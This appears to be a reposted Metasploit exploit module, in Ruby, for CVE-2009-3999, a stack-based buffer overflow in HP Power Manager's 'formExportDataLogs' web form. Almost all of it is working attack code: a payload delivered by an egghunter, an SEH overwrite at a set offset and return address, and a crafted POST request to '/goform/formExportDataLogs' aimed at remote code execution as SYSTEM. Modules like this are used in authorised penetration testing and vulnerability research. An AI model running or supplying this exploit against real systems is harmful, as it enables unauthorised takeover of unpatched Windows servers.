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HP Power Manager 'formExportDataLogs' Buffer Overflow
来源:http://www.metasploit.com 作者:sinn3r 发布时间:2011-10-21  
##
# $Id: hp_power_manager_filename.rb 14016 2011-10-20 17:40:21Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::Remote::Egghunter

	def initialize(info = {})
		super(update_info(info,
			'Name'            => "HP Power Manager 'formExportDataLogs' Buffer Overflow",
			'Description'     => %q{
					This module exploits a buffer overflow in HP Power Manager's 'formExportDataLogs'.
				By creating a malformed request specifically for the fileName parameter, a stack-based
				buffer overflow occurs due to a long error message (which contains the fileName),
				which may result aribitrary remote code execution under the context of 'SYSTEM'.
			},
			'License'         => MSF_LICENSE,
			'Author'          => 
				[
					# Original discovery (Secunia Research)
					'Alin Rad Pop',
					# Metasploit module (thx DcLabs members, corelanc0d3r, humble-desser, pyoor)
					'Rodrigo Escobar <ipax[at]dclabs.com.br>',
					# Metasploit fu
					'sinn3r'
				],
			'Version'         => '$Revision: 14016 
, 'References' => [ [ 'CVE', '2009-3999' ], [ 'BID', '37867' ] ], 'DefaultOptions' => { 'ExitFunction' => 'thread', }, 'Platform' => 'win', 'Payload' => { 'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\$%\x1a", 'DisableNops' => true, 'EncoderOptions' => {'BufferRegister' => 'EDI' } # Egghunter jmp edi }, 'Targets' => [ [ # Tested on HP Power Manager 4.2 (Build 7 and 9) 'Windows XP SP3 / Win Server 2003 SP0', { 'Ret' => 0x004174d5, #pop esi # pop ebx # ret 10 (DevManBE.exe) 'Offset' => 721 } ] ], 'Privileged' => false, 'DisclosureDate' => 'Oct 19 2011', 'DefaultTarget' => 0)) register_options([Opt::RPORT(80)], self.class) end def exploit print_status("Generating payload...") # Randomize the tag by not specifying one eggoptions = { :checksum => true } hunter,egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions) buffer = rand_text_alpha_upper(target['Offset'] - hunter.length) buffer << make_nops(30) + hunter buffer << "\xeb\xc2\x90\x90" #JMP SHORT 0xC2 buffer << [target.ret].pack('V*')[0,3] #SEH (strip the null byte, HP PM will pad it for us) # Let's make the request a little bit more realistic looking time = Time.new print_status("Trying target #{target.name}...") connect request = send_request_cgi({ 'method' => 'POST', 'uri' => '/goform/formExportDataLogs', 'vars_post' => { 'dataFormat' => 'comma', 'exportto' => 'file', 'fileName' => buffer, 'bMonth' => "%02d" %time.month, 'bDay' => "%02d" %time.day, 'bYear' => time.year.to_s, 'eMonth' => "%02d" %time.month, 'eDay' => "%02d" %time.day, 'eYear' => time.year.to_s, 'LogType' => 'Application', 'actionType' => '1%3B' }, 'headers' => { 'Accept' => egg, 'Referer' => "http://#{rhost}/Contents/exportLogs.asp?logType=Application" } }, 5) print_status("Payload sent! Go grab a coffee, the CPU is gonna work hard for you! :)") # Wait for a bit longer. For some reason it may take some time for the process to start # handling our request. select(nil, nil, nil, 7) handler disconnect end end
 
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